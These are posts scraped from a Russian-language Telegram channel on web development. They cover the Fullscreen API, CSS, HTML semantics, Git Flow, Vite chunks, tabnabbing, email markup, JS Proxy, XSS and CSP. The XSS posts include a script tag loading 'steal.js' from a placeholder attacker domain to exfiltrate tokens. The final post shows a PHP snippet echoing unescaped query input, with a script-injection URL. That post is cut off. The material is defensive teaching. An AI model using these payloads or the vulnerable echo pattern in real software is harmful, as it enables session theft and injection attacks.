progway — программирование, IT
2.65K subscribers
25 photos
1 video
246 links
Чат: @prog_way_chat

Разборы вопросов и задач с собеседований, мысли, полезные материалы и просто вещи, что мне интересны из мира IT

Полезности и навигация в закрепе

По всем вопросам: @denisputnov
Download Telegram
Что такое Fullscreen API

Fullscreen API — это интерфейс для работы с полноэкранным режимом в веб-браузерах, который позволяет элементам HTML-страницы разворачиваться на весь экран.

Яркий пример использования Fullscreen API — это видеоплееры. Когда вы нажимаете кнопку для просмотра видео на весь экран, используется именно этот API. Но его возможности далеко не ограничиваются видео: он может быть применен к любым элементам страницы, будь то изображения, модалки и любые другие блоки страницы.

Пример использования следующий:

// получаем элемент, который хотим открыть на весь экран
const element = document.getElementById('target');

// открыть элемент на весь экран
element.requestFullscreen()

// получить элемент, который открыть в полноэкранном режиме
document.fullscreenElement

// выйти из полноэкранного режима
document.exitFullsreen()


Также методы requestFullscreen и exitFullscreen являются промисами, что позволяет проще работать с ними и обрабатывать ошибки их вызова.

И ещё важно знать, что из полноэкранного режима можно выйти по нажатию клавиши ESC по умолчанию, а также некоторые браузеры дают собственные сочетания клавиш. Чтобы обработать и такой случай, можно отслеживать отдельное событие:

document.addEventListener('fullscreenchange', () => {
// как-то обрабатываем изменение состояния

// можно завязаться на
// document.fullscreenElement
})


Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#theory #code #javascript #web #useful
👍16🔥11🐳54
Псевдоселекторы в CSS

Псевдоселекторы в CSS — это специальные селекторы, которые позволяют выбирать элементы на основе их состояния, положения в документе или других факторов, которые нельзя описать простыми селекторами. Они начинаются с двоеточия и открывают интересные возможности стилизации страницы

Псевдоселекторы бывают двух видов:
1. Псевдоклассы — применяются к элементам на основе их состояния или взаимодействия с пользователем
2. Псевдоэлементы — позволяют стилизовать определённые части элементов

Примеры псевдоклассов:

1. :hover — применяется, когда пользователь наводит указатель мыши на элемент

a:hover {
color: red;
}


В этом примере цвет текста ссылки изменится на красный при наведении курсора

2. :nth-child(n) — выбирает элементы на основе их позиции среди братьев и сестёр

li:nth-child(2) {
background-color: yellow;
}


Здесь каждый второй элемент списка li будет иметь жёлтый фон

3. :focus — применяется к элементу, когда он получает фокус (например, при клике или переходе по табуляции)

input:focus {
border-color: blue;
}


В этом примере цвет рамки текстового поля станет синим, когда элемент получит фокус

Конечно же, это не все псевдоклассы, которые существуют в CSS. В этом посте рассмотрим только часть для примера

Примеры псевдоэлементов:

1. ::before — вставляет содержимое перед элементом

p::before {
content: "Note: ";
font-weight: bold;
}


Этот стиль добавит текст "Note: " перед каждым параграфом p

2. ::after — вставляет содержимое после элемента.

p::after {
content: " ->";
color: grey;
}


В этом примере текст "->" будет добавлен после каждого параграфа

Ну и также не стоит забывать о том, что все псевдоселекторы можно сочетать, если правила стилизации у нас более сложные:

li:nth-child(odd):hover {
background-color: lightblue;
}


Этот код изменит цвет фона каждого нечётного элемента списка на светло-голубой при наведении на него курсора.

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#theory #web #useful
👍306🔥4🐳1
Что такое семантика?

Семантика в HTML относится к использованию HTML-тегов, которые ясно и однозначно описывают их содержимое и роль в структуре веб-страницы. Семантические теги помогают как разработчикам, так и браузерам и поисковым системам понять смысл и контекст контента на странице быстрее и точнее.

Семантических тегов множество, однако, самые используемые из них:

<header> - заголовок секции или документа
<nav> - навигационное меню
<article> - независимая часть контента, например, статья, пост...
<section> - определяет раздел конкретного документа, статьи, поста...
<aside> - содержит контент, связанный с основным содержанием страницы, но не являющийся его частью
<footer> - представляет нижний колонтитул секции или документа


Конечно же семантических тегов сильно больше, но рассматривать их все в этом посте я не буду.

Важнее сказать, что семантические теги делятся на 2 категории значимости:
— Первая категория, по сути, имеет те же свойства и вид, что обычный div. Их особенность заключается лишь в том, как эти теги будут обрабатываться парсерами и служат они в основном для SEO.
— Вторая категория — когда тег имеет дополнительные уникальные свойства и поведение, а, возможно, и внешний вид.

Давайте сразу на примере:

<header> - по сути, тот же <div>, но просто парсится иначе

<button> - тоже семантический тег

Но, помимо особой семантической значимости, этот тег также имеет и другие свойства:
- встроенные обработчики событий для взаимодействия с клавиатуры
- иной внешний вид
- верная HTML-роль по умолчанию


На самом деле, семантический тег — это всё, что не <div>. Только этот тег не имеет особого назначения и нужен лишь для группировки других тегов. Остальные же теги несут в себе какой-то дополнительный семантический смысл.

Давайте соберём под постом как можно больше 🔥 и я сделаю отдельный пост на тему зачем эта семантика нужна. Вопрос, который встречается на каждом втором собесе, наверное.

Да и в целом не забывайте про реакции. Они реально мотивируют меня что-то писать.

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#theory #web #useful
🔥69👍8🐳6
Зачем нужна семантика?

В одном из прошлых постов я разобрал что такое семантика. В этом посте хочу рассказать зачем она нужна.

Чаще всего о семантике говорят со стороны SEO, и не зря:

1. Поисковые роботы, прежде чем добавить ваш сайт в выдачу, открывают вашу страницу и прогружают весь её контент. Чем лучше свёрстана страница, тем больше “баллов” она наберёт — лучше определится категория контента, его содержимое, ключевые запросы. Чем больший рейтинг набирает страница, тем вероятнее она появится в выдаче при поиске. А посещения почти всегда конвертируются в доход.

2. Повышение доступности
Не у каждого пользователя есть возможность пользоваться мышкой. Сайтом также могут пользоваться люди с ограниченными возможностями, особенностями зрения и слуха, и такие пользователи нуждаются в специальных инструментах для взаимодействия с сайтом. Чаще всего на слуху бывает скринридер

Скринридер — это специальная программа, которая озвучивает всё, что происходит на экране и чаще всего используется незрячими пользователями.

Пример работы скринридера в видео


Так вот, скринридеры завязываются как раз на эти самые семантические теги и семантические атрибуты типа alt у тега image.

При этом, доступность — это не только про незрячих, это и про самых обычных людей. Вот используете вы беспроводную мышку и она неожиданно села. Как пользоваться компьютером и сайтами в частности? Конечно же с клавиатуры. Семантика в этом также помогает.

3. Множество предустановок
Как я и говорил в прошлом посте, есть категория семантичных тегов, которые имеют дополнительные свойства "из коробки", типа тега <button>. Использовать такой тег в разы удобнее, чем сделать кнопку из тега <div>

4. Улучшение читаемости кода
Лично для меня это минорно, особенно в эпоху господства компонентного подхода. Но, всё таки, семантические теги позволяют разработчикам быстрее разбираться в вёрстке, это тоже немаловажно

🌐 Также советую доклад Вадима Макеева на тему семантики. Вадим — амбассадор доступности, у него шикарные материалы на эту тему.

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#theory #web #useful
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥247👍6🐳3
Что такое Git Flow?

Git Flow — это модель ветвления для Git, основная идея которой заключается в использовании отдельной ветки для каждого этапа разработки. Обычно выделяются следующие ветки:

1. Основная ветка — чаще всего это master
Эта ветка содержит стабильную версию продукта, которая готова к выпуску. В ней всегда должен быть работающий и протестированный код. Каждый коммит в master обычно соответствует одной версии продукта

2. Ветка разработки — чаще всего это develop
В этой ветке происходит активная разработка. Все новые фичи и изменения сначала попадают сюда. После тестирования и проверки они будут слиты в master

Также есть вспомогательные ветки, которые маркируются своим префиксом — чаше всего это feature/*, release/*, bugfix/*, hotfix/*:

1. Ветки для разработки новых функций — feature/*
Они создаются от develop и после завершения работы сливаются обратно в develop. Нужны такие ветки для организации разработки отдельной фичи.

2. Ветка для фикса багов — bugfix/* и hotfix/*
Почти то же самое, что и feature/*, только эти ветки нужны для фикса багов. hotfix/* — для фикса багов в мастере или релизе. bugfix/* — для фикса багов в ветке develop

3. Ветка для подготовки версии продукта — release/*
Создаются от develop, когда разработка новых функций завершена и нужно подготовить релиз. После завершения сливаются в master и develop

Чаще всего процесс разработки выглядит таким образом: берём задачку → делаем отдельную ветку → вносим изменения → сливаемся через код ревью в нужную ветку

В зависимости от компании, проекта и команды, нейминги веток могут отличаться, но суть всегда будет оставаться примерно похожей при использовании такого подхода

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#theory #useful
29👍19🔥5🐳2🙏1🤝1
Какими способами можно скрыть элемент со страницы?

Для многих каверзный вопрос. В этом посте коротко рассмотрим какие есть варианты

1. Использовать display: none

Как мне кажется, самый часто используемый вариант. В этом случае элемент полностью исчезает из потока документа, то есть полностью пропадает из вёрстки и больше никак не влияет на неё

2. Использовать visibility: hidden

Этот вариант, в отличии от display: none, не выводит элемент из потока документа. Элемент скрывается для глаз пользователя, но всё ещё продолжает обрабатываться и занимает место в вёрстке

3. Использовать opacity: 0

То же самое, что и прошлый вариант, только в этом случае скрытый элемент мало того, что продолжит занимать место в вёрстке, так ещё и продолжить обрабатывать разные события, например, клик. То есть у нас может быть условно невидимая кнопка, по которой всё ещё можно нажать

4. Позиционировать элемент далеко и надолго

.element {
position: absolute;
left: -999999px;
}


Абсолютно точно не советую использовать этот вариант, хотя работать будет

Есть ещё всякая экзотика типа <div hidden>, но это именно экзотика. Способы выше — основные, их точно хватит на практике.

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#theory #web #useful
👍277🐳5🔥3
JavaScript не в браузере: NodeJS, Deno и Bun

Начать стоит с того, что JavaScript может выполняться далеко не только в браузере. Для этого есть такая штука, как рантайм — это среда выполнения, которая обеспечивает все необходимое для выполнения JavaScript кода: движок языка, API среды и т.д.

Рантаймов несчётном множество, как и всего в мире JS, но в этом поговорим о самых интересных: NodeJS, Deno и Bun

👩‍💻 NodeJS — это рантайм JavaScript, построенный на движке V8 от Google Chrome. Он позволяет выполнять JavaScript-код на сервере. По сути, это почти то же самое, что и выполнять код в браузере, за тем лишь исключением, что NodeJS предоставляет API по работе с файлами, операционной системой, среду исполнения тестов и кучу всего ещё

— NodeJS
сейчас — это основной рантайм для всех серверных решений на JavaScript и TypeScript
npm (Node Package Manager) — это тоже про ноду

👩‍💻 Deno — более новый, чем NodeJS, рантайм, от создателя NodeJS. Deno разработан для того, чтобы устранить некоторые недостатки и ограничения ноды, улучшить безопасность и лучшей поддержкой TypeScript. В целом, всё так и есть, только лично мне субъективно кажется, что Deno почти никто не использует(

👩‍💻 Bun — самый новый из этой тройки инструмент, который разработан для того, чтобы быть самым быстрым и легким в использовании, предлагая ряд улучшений по сравнению с другими инструментами. Bun быстрее запускает код, сильно лучше работает с асинхронными запросами, быстрее устанавливает зависимости... Но ему слишком мало лет, чтобы активно тащить его в прод — пока рановато

Краткий итог:

NodeJS - это зрелая платформа с обширной экосистемой и большим сообществом
Deno - альтернатива NodeJS с улучшенной безопасностью, поддержкой TypeScript и другими плюшками
— Bun - новая и перспективная платформа с упором на скорость и интеграцию различных инструментов


Лично я ставлю на то, что доминирующего рантайма пока что не будет, получится зоопарк, так как всем просто не угодить

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#theory #javascript #typescript #useful
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥22👍1211🐳1
Как открыть ссылку в новом окне или вкладке

Чтобы ссылка открывалась в новом окне или вкладке, достаточно добавить к тегу <a> атрибут target="_blank":

<a 
href="https://t.me/prog_way_blog"
target="_blank"
rel="noopener noreferrer"
>
Ну чё-то какой-то канал в телеге
</a>


Атрибут target="_blank" сообщает браузеру, что ссылку нужно открыть в новой вкладке. И также стоит обратить внимание на атрибут rel. Он предотвращает передачу информации о странице, с которой была открыта ссылка, а также защищает от потенциальных уязвимостей

Накидайте побольше китов 🐳 на пост и, если это будет актуально, сделаю отдельный пост с разбором noopener noreferrer и зачем оно надо

Если же вы сомневаетесь, ставить их или нет — ставьте всегда

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#theory #web #useful
🐳716🔥3👍1
Разделение чанков в Vite

Часто может быть так, что не малое приложение с большим количеством зависимостей весит несколько мегабайт. Такое приложение будет грузиться клиенту очень долго, особенно, если у него низкая скорость соединения. Далеко не в любых условиях у пользователей есть возможность загружать наши фронтенды на 100 МБитной линии, поэтому оптимизация загрузки — очень важно.

Пользовательский код можно загружать ленивой подгрузкой, но что сделать с библиотеками, которые собираются в один JS файл? Использовать разделение на чанки.

Чанк — собранные блоки кода, в виде которых пользователь загружает себе ваше приложение.

Идея в том, чтобы разделить приложение на несколько чанков. Это может быть полезно по нескольким причинам:
1. Открываются прелести асинхронной загрузки нескольких чанков
2. Есть возможность загружать не весь фронтенд сразу, а порционно, по мере необходимости

Выглядеть конфигурация может вот так:

build: {
rollupOptions: {
output: {
manualChunks: {
core: [
'react',
'react-dom',
'react-router-dom'
],
network: [
'axios',
'@tanstack/react-query'
],
utils: [
'classnames',
'dayjs',
'escape-html',
'tailwind-merge',
'zustand',
'@loadable/component'
],
table: [
'@tanstack/react-table',
'@tanstack/react-virtual'
],
chart: [
'reactflow',
'@dagrejs/dagre'
],
icons: ['@ant-design/icons'],
ui: [
'@chakra-ui/react',
'chakra-react-select',
'framer-motion',
'prismjs',
'react-simple-code-editor'
],
},
},
},
}


Не очень красиво, но как есть. В единый чанк стоит объединять те библиотеки, что не могут работать друг без друга, например чанк core . Также есть ещё и частотная группировка — когда легковесные библиотеки собирают в один чанк, чтобы быстро загрузить их все, так как понадобятся они на всех страницах, например чанк utils

Что в итоге? Скорость загрузки приложения можно значимо увеличить. Для отрисовки, например, страницы авторизации, нам не нужны таблицы, графики и прочие красивости — загрузим чанки core и network, остальное нам не нужно. Остальные чанки мы можем загрузить по мере необходимости, используя асинхронные инструменты загрузки. Это могут быть @loadable, который рекомендует команда React или же вовсе обычный import.

Обычно, ленивая загрузка библиотек всё же не применяется, однако для организации кода внутри самого приложения — очень часто.

Выглядеть это будет примерно так:
const About = lazy(() => import("./pages/about")); // для реакт компонентов

// более сложный пример импорта компонента с @loadable/components
const PageComponent = loadable((props) => import(`./pages/${props.page}`), {
fallback: <div>Page is Loading...</div>,
cacheKey: (props) => props.page
});

async function foo() {
const utils = await import("./utils.js") // для, например, утилсов
}


Более подробно о manualChunks можно прочитать в доке rollup

Спасибо за прочтение, для меня это важно ❤️

@prog_way_blogчат#theory #web #useful
👍175🔥3🐳2
noopener и noreferrer в браузере

При открытии ссылки в новой вкладке через атрибут target="_blank", браузер делает несколько не самых желанных для нас действий, от которых и спасают атрибуты noopener и noreferrer:

🟢Атрибут noopener предотвращает доступ новой вкладки к объекту window.opener. Почему это важно? Без этого атрибута, сайт, открытый в новой вкладке, может получить доступ к оригинальной вкладке и потенциально выполнить вредоносный код, что представляет угрозу безопасности.

window.opener содержит слепок объекта window для страницы, с которой был открыт сайт. Информация в таком объекте всё же сильно ограничена — новая вкладка не может получить доступ, например, к переменным с прошлой страницы, зато может осуществлять навигацию по старой вкладке, что открывает огромные возможности для фишинга.

Представим, что вы находитесь на каком-нибудь some-bank.com и переходите на другой сайт с вредоносным кодом без noopener. Тогда новая вкладка может получить доступ к pathname откуда вы перешли и к API навигации по старой вкладке, и, уже абсолютно невидимо для вас, средиректить старую вкладку с some-bank.com на some-bauk.com (подмена символа в слове bank). Вернувшись на старую вкладку, вы увидите тот же сайт, но проблема в том, что он уже подменён на фишинг-страницу. Входите через эту страницу в личный кабинет банка и все данные улетают злоумышленникам.

Такая атака, кстати, называется tabnabbing


🟢Атрибут noreferrer выполняет сразу две функции:
1. Предотвращает доступ к window.opener, как и noopener
2. Удаляет HTTP-заголовок Referer при переходе по ссылке, что скрывает источник перехода

Referer: https://some-bank.com/login


Для нас это просто дополнительная защита, которая запрещает ещё один способ просмотреть url, с которого открыта страница

Обычно эти атрибуты используют в паре. noreferrer как бы включает в себя noopener, а значит вроде бы можно использовать только его, но на практике так никто не делает. Связано это попросту с тем, что каждый браузер Referrer-Policy раньше реализовал по своему, да и так просто спокойнее что ли

Если кратко:

- noopener — блокирует доступ на новой вкладке к информации и навигации на старой
- noreferrer — noopener + удаляет заголовок Referrer


Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#theory #web #useful
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3210🔥7🐳1
Как скачать файл с сайта

У тега ссылки <a> есть очень удобный атрибут download, который позволяет скачать любой файл с сайта. Выглядит его использование примерно так:
<a
download
href="https://.../files/example.zip"
>
Скачать файл
</a>


Также в атрибут download можно передать собственное название для файла, например:
<a
download="новое_название_файла.zip"
href="https://.../files/example.zip"
>
Скачать файл
</a>


Стоит учитывать, что скачивать файлы мы можем только с тех хостов, в которых выполняются CORS политики для нашего сайта. Более подробно о CORS я писал как у себя в канале, так в статье на doka.guide

Сейчас этот атрибут уже достиг порога поддержки в более чем 97% согласно caniuse и не поддерживается полноценно только в IE

Ребята, если у вас есть идеи о чём ещё вам было бы интересно прочитать, обязательно отпишитесь в чатик или мне в личку.

Всем добра)


@prog_way_blogчат#theory #web #useful
🔥18👍7🐳3
CSS для печати страниц

Несколько лет назад я делал пет-проект — конструктор резюме. Кейс был такой, что хотелось сразу же печатать созданное резюме при нажатии сочетания клавиш Ctrl+P в браузере. Но проблема в том, что помимо самого резюме на печать попадало не только само резюме, а все кнопки, поля и прочие элементы страницы для его настройки. Такие кейсы можно решать при помощи CSS медиазапроса @media print:

@media print {
/* стили для печати */
}


То есть во время печати мы можем скрыть все ненужные элементы:

@media print {
.navbar, .footer, .controls {
display: none;
}
}


Ну или ещё проще:

@media print {
.no-print {
display: none;
}
}


А сам класс .no-print проставлять на все скрываемые при печати элементы.

Также есть ещё специальные CSS свойства печати, например, break-inside, которое дополнительно настраивает можно ли переместить блок со страницы на страницу при печати, что особенно актуально для целостных блоков типа “контакты” в резюме. Если указать break-inside: avoid, то такой элемент не сможет быть расположен на двух страницах сразу, а перенесётся весь, если для него не хватает места.

В реальной практике также особенно полезно использовать подобные поднастройки стилей для печати кастомных чеков, накладных, этикеток для маркетплейсов и прочих документов, что иногда реально верстаются где-то кроме ворда.

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#theory #code #web #useful
👍34🔥84🐳1
Что такое CI/CD

Помимо того, что разработчики должны уметь писать сам код, было бы неплохо уметь автоматизировать его публикацию и все попутные процессы, что с этим связаны — тестирование, сборка…

Для этого есть CI/CD — набор практик, который позволяет автоматизировать практически всё, кроме написания самого кода.

🟢CI — Continuous Integration — это всё, что касается интеграции нового кода в репозиторий. В основном, это автоматизация сборки, тестирования и разные проверки в коде, типа eslint, prettier или biome.

Основное отличие от ручного способа заключается лишь в том, что все эти процессы выполняются не на компьютерах разработчиков, а где-то там далеко на серверах GitHub или типа того, всё зависит от архитектуры вашей системы контроля версий.


🟢CD — Continuous Delivery (иногда расшифровывают как Continuous Deployment) — это всё, что связано с доставкой готового собранного образа вашего приложения на какое-то окружение (сервер) и его запуск для дальнейшей работы. Ведь собрать приложение недостаточно для его публикации — сборку нужно ещё куда-то загрузить и как-то запустить.

Если поверхностно, CI/CD — это именно об этом. Думаю, что сделаю ещё какие-то более подробные посты в будущем, если это будет актуально.

Если коротко:
CI — процессы, связанные с интеграцией кода в репозиторий
CD — процессы, связанные с доставкой готовой сборки на окружение


Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#theory #data #useful
Please open Telegram to view this post
VIEW IN TELEGRAM
28👍10🐳4🔥1👀1
Про платные курсы и менторинг

Довольно часто звучит вопрос, в том числе и от моей аудитории в личке, который выглядит примерно так:

Какие курсы посоветуешь купить?


Отвечаю на этот вопрос постом: никакие

Курсы — далеко не волшебная таблетка. Особенно сейчас. Я регулярно натыкаюсь на рекламу разных курсов, кажется, даже чаще, чем раз в день. И для меня провалиться в курс и посмотреть его описание, затрагиваемые темы, примерный план — профессиональный интерес

Я и сам занимаюсь своего рода "образовательным", прости господи, контентом, поэтому посмотреть такое бывает и правда занятно

И ничего невероятного там, как очевидно, я не увидел ни разу

ИМХО, важно держать в голове мысль, что конечная цель производителей курсов — продать курс. Это, всё таки, рынок, а деньги не пахнут. Грустно, но ничего с этим не сделаешь


Также, думаю, ни для кого не секрет, что у составителей курсов нет никакой секретной информации или методики обучения. Вас никогда не сделают джуном за месяц или мидлом за 3. Такие фразы в рекламе — самый красный флаг из всех возможных. По сути, всё уникальное торговое предложение о покупке курса заключается в следующих пунктах:

— качественная структуризация информации, что особенно актуально для новичков в сфере, которые не знаю как и с чего начать
— адекватная обратная связь при ревью домашних заданий и прохождении контрольных точек (есть только в очень хороших курсах на рынке)
— помощь с трудоустройством (есть только в топовых курсах на рынке, но без каких либо гарантий)
— дополнительная мотивация завершить начатое, ведь вы уже заплатили значимую сумму

По сути, основное преимущество курсов — это структуризация информации и обратная связь. Остальные фичи — посредственны и представляют собой не более чем маркетинговый ход

И, к счастью, особенно front-end сообщество активно делится своим опытом с новичками и делает это совершенно бесплатно. Можно использовать даже тот же roadmap.sh, где, на самом-то деле, реально неплохая структура, которой можно следовать до определенного уровня

Даже этот канал — на мой вкус, сборник реально крутой информации. Я в него душу вкладываю, а в замен прошу лишь эмоцию кита 🐳 под пост. В канале практически нет рекламы, он совершенно не окупается для меня, хотя требует вложения как денег, так и времени. И мой канал — далеко не единственный такой пример


Я всё это к тому, что при покупке курса стоит держать в голове, что вы покупаете не информацию. Вы покупаете способ её получения, который, скорее всего, ничем не превосходит бесплатные курсы

Чего у платных курсов не отнять — помощь с трудоустройством и обратную связь. Но, если честно, слишком много денег они за это просят

Я бы советовал каждому пользоваться бесплатными курсами или обратиться к частному ментору, который сделает с вами проект, поможет собрать хорошее резюме, провести или разобрать собеседование, провести ревью кода или рассказать что-то из своего опыта, в общем, помочь всем, чем может

Чаще всего, частный менторинг — это не просто годнота с индивидуальным подходом, это ещё и сильно дешевле курсов

У меня у самого был ментор, я сам был ментором — я знаю, что это такое

Сейчас менторингом я не занимаюсь, но, думаю, что в перспективе я бы вернулся к нему, мне это интересно. Такой менторинг будет платный. Если я скажу, что собираюсь заниматься им бесплатно, то мне не хватит времени работать

Если вам это как-то интересно, поставьте эмоцию кита 🐳 на пост или напишите в личку, мне интересен спрос и ваше виденье ситуации


Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#blog #useful
🐳4811👍10😐1
Верстка писем — это боль? или нет..?

Если вы думали, что адаптивная верстка для всех браузеров — это сложно, попробуйте сверстать email, который одинаково выглядит в Gmail, Outlook, Yahoo и десятках других почтовых клиентов...


Вёрстка письма — это крайне специфичное занятие, при котором нет возможности использовать добрую половину, если не больше, возможностей HTML и CSS

Почтовые движки настолько старые, что многие из них до сих пор требуют верстки с использованием таблиц, прямо как в 90-х. Но гораздо интереснее вопрос — почему получилось именно так? Я бы выделил пару причин:

➡️ Что и так понятно, причина историческая

Вёрстка письма — задача часто тривиальная. Вот многие и не заморачиваются с обновлением движков, так как это не дает какой-то бизнес выгоды. Нет абсолютно никакой разницы между вёрсткой письма для отправки PIN-кода для входа на таблицах или на флексах

➡️ Безопасность

Если углубиться и задуматься, то окажется, что у большинства запретов есть свой вполне объективный смысл. Есть много способов "заставить" вёрстку сходить куда-то за данными:

@font-face { src: url(...) }
background-image: url(...)
list-style-image: url(...)

<form action="https://.../steal.php" method="get">


И ещё куча других примеров — везде так или иначе наше письмо отправляет какой-то запрос. А это уже опасно тем, что открывает кучу возможностей для слежки за пользователем. Например, можно узнать реальный IP пользователя просто при открытии письма (открытие письма → запрос картинки → трекинг IP)

Также, например, запрещён position:fixed, потому что позволяет фиксировать элементы на экране, что можно использовать для фишинга. Например, можно зафиксировать модалку поверх письма с призывом ввести пароль, и она будет выглядеть как часть интерфейса почтового клиента

Но самое главное, что всё реально развивается и стало лучше!


— Outlook теперь рендерит письма на движке от Edge, а не от Microsoft Word (блин, да! до 2022 года письма реально рендерились на основе... ворда! )
— почти все почтовые клиенты научились понимать <div /> 😎
— много где появилась поддержка медиа запросов
— ну и много чего ещё

А самое главное, что появились крутые инструменты для вёрстки писем, которые из коробки закрывают много проблем — когда-то относительно давно появился MJML и сделал небольшую революцию, а в последние годы так и вовсе очень сильно хайпят react-email или vue-email

Мне недавно довелось сверстать десяток писем на react-email и с уверенностью могу сказать, что это было совсем-совсем не больно:
— тут тебе и tailwind
— и аля аналог storybook для шаблонов
— кастомные шрифты
— куча шаблонов и примеров кода
— поддержка markdown для текстов
— куча фиксов для почтовых клиентов...

И
всё это чудо в удобной обёртке из коробки с поддержкой компонентного подхода без смс и даже без регистрации

Как по мне, в современных реалиях верстать письма стало в разы легче, за что большое спасибо всему комьюнити. Если вдруг ранее вы обходили стороной вёрстку писем, загляните. Это тоже по-своему интересно

Ну и react-email тоже рекомендую, приятный инструмент

Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#useful #web #react
Please open Telegram to view this post
VIEW IN TELEGRAM
👍326🔥6🐳2🤔1
Как реагировать на изменения объекта

В JavaScript обычные объекты не умеют уведомлять о своих изменениях, однако эту задачу можно решить с помощью Proxy

Proxy — это специальный встроенный в язык объект-обёртка, который позволяет изменить поведение других объектов, перехватывая действия над ними

new Proxy(target, handlers) создаёт прокси для объекта target, где handler содержит ловушки для перехвата операций

Ловушек много — get, set, deleteProperty, has... (подробнее на MDN) — каждая из ловушек переопределяет реакцию объекта на взаимодействие с ним

Например, можно переопределить поведение объекта при обращении к какому-нибудь из его свойств:
const user = { name: "Денис", age: 23 };

const proxyUser = new Proxy(user, {
get(target, key) {
return key in target ? target[key] : "Не найдено";
}
});

proxyUser.name // "Денис"
proxyUser.city // "Не найдено"


Но это лишь частный случай, можно сделать более утилитарный пример:
const reactive = (obj, callback) => {
return new Proxy(obj, {
set(target, key, value) {
target[key] = value; // обновляем значение
callback(key, value); // вызываем реакцию
return true;
}
});
};

// Используем:
const state = reactive({ count: 0 }, (key, value) => {
console.log(`Свойство "${key}" изменилось:`, value);
});

state.count = 1; // Лог: "Свойство 'count' изменилось: 1"
state.count = 5; // Лог: "Свойство 'count' изменилось: 5"

Прикрутить сюда типы и рекурсивный вызов функции reactive на каждый вложенный объект и у вас почти получится свой vue.js 🗿


Сам Proxy — это крайне нишевый инструмент, особенно в экосистеме реакта, где его встретить крайне сложно. Обычно можно обойтись более простыми вещами, но знать про прокси тоже нужно, может и пригодится. По крайней мере, у меня такой кейс на практике всё же был

В первую очередь прокси удобен конечно же для создания реактивных систем, но также его можно применять, например, для валидации свойств и логирования

Удобно, что Proxy крайне прост и к нему можно прикрутить что угодно. Например, к прокси можно прилепить zod для валидации, как это сделано в zoxy. Тут вы ограничены лишь своей фантазией

Если кратко:

— Proxy — обёртка, которая позволяет переопределить реакцию на операцию для объекта
— Переопределение поведения происходит при помощи "ловушек"


Спасибо за прочтение, это важно для меня ❤️

@prog_way_blogчат#theory #useful #javascript #code #web #patterns
Please open Telegram to view this post
VIEW IN TELEGRAM
28🔥15👍7🐳3🤓1
Что такое XSS

XSS — это тип уязвимости, при которой злоумышленник внедряет в страницу свой скрипт, и этот скрипт выполняется в браузере жертвы как будто от имени доверенного сайта

При помощи XSS зачастую можно потерять cookies, localStorage, а также получить подмену содержимого страницы (например, на страницу встроится какая-нибудь фишинговая форма)

На основе вышеописанного и украденных данных авторизации уже можно сделать любое действие от лица пользователя, будь то отправка сообщения, банковский перевод или любая другая операция


Как по мне, самый распространенный вариант попасться на XSS атаку сейчас — поставить себе недобросовестное браузерное расширение и дать ему слишком много разрешений на ходу

Сайты, не защищённые CSP или с 'unsafe-inline' директивой — лакомый кусочек для таких типов атак

1. Вы устанавливаете расширение, которое парсит страницу (ваш банк, например) и вставляет HTML через innerHTML

2. Внедряется какой-нибудь <script src="https://evil.ru/steal.js"></script>, этот скрипт крадёт токен из localStorage и отправляет на сервер злоумышленника

Итог: с вашим токеном можно украсть деньги, данные или сделать что-угодно от вашего имени. И это лишь один из тысячи примеров


Есть несколько основных способов защититься:
— Всегда экранировать пользовательский ввод
— Не использовать небезопасные методы редактирования HTML разметки (например, innerHTML)
— Не забывать про флаг HttpOnly на куках
— Использовать Content Security PolicyCSP (об этом в одном из следующих постов)

Спасибо за прочтение, это важно для меня 💙

@prog_way_blogчат#theory #useful #web
Please open Telegram to view this post
VIEW IN TELEGRAM
26👍13🔥10🐳1
Content Security Policy

CSP — механизм защиты веб-приложений в браузере, который регулирует из каких источников браузер может загружать ресурсы и выполнять их (скрипты, стили, шрифты, картинки и т.д.)

Основная задача CSP — защитить пользователя от инъекционных атак, типа XSS, блокируя любые недоверенные ресурсы

CSP можно задавать через HTTP заголовок или через meta тег. И, если честно, с CSP в мета тегах я никогда не сталкивался, поэтому осознанно опущу эту часть, такой способ задания наименее гибкий и полезный и подходит только для статики

Обычно политику можно задать в конфиге Nginx, условного Express или даже в докере через заголовок: Content-Security-Policy. Выглядеть это в упрощённом случае может примерно так:

Content-Security-Policy: default-src 'self' https://trusted.ru;


Эта запись означает, что ресурсы можно загружать только с домена приложения либо с trusted.ru


Если на сайте настроена CSP без разрешения на инлайн-скрипты 'unsafe-inline' и без сторонних доменов, код злоумышленника просто не выполнится: браузер заблокирует <script> вне белого списка. Это эффективно снижает риск XSS
unsafe-inline — это директива CSP, которая позволяет браузеру выполнять инлайн-скрипты, вставленные в дом на лету. Это может быть удобно, но сильно ослабляет защиту сайта в целом.


Вот так это может выглядеть:

Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline';


В целом, если не заниматься какой-то откровенной порнографией, то современные инструменты разработки типа Nuxt/Next из коробки несут в себе очень много минорных и не очень фичей для безопасности ваших пользователей, не отключайте их, если не знаете, что делаете

Ну и так же помните, что фреймворки не защищают вас полностью


А CSP — не панацея, но очень мощный инструмент “защиты в глубину”.
Настройте хотя бы простое правило (default-src 'self'), а дальше постепенно добавляйте всё, что вам будет нужно. Это всё равно лучше, чем ничего

Спасибо за прочтение, это важно для меня 🥰

@prog_way_blogчат#theory #useful #web
Please open Telegram to view this post
VIEW IN TELEGRAM
16👍11🔥6🐳2
Ещё один пример XSS уязвимости

Предположим, сайт a.com не защищён от XSS. Допустим, там есть URL-параметр, который встраивается в страницу как есть:

<div>Результаты поиска: <?php echo $_GET['query']; ?></div>


Что делает злоумышленник:

1. Создаёт специальную ссылку, например:
https://a.com/search?query=<script>alert('Я украл твою почку!')</script>


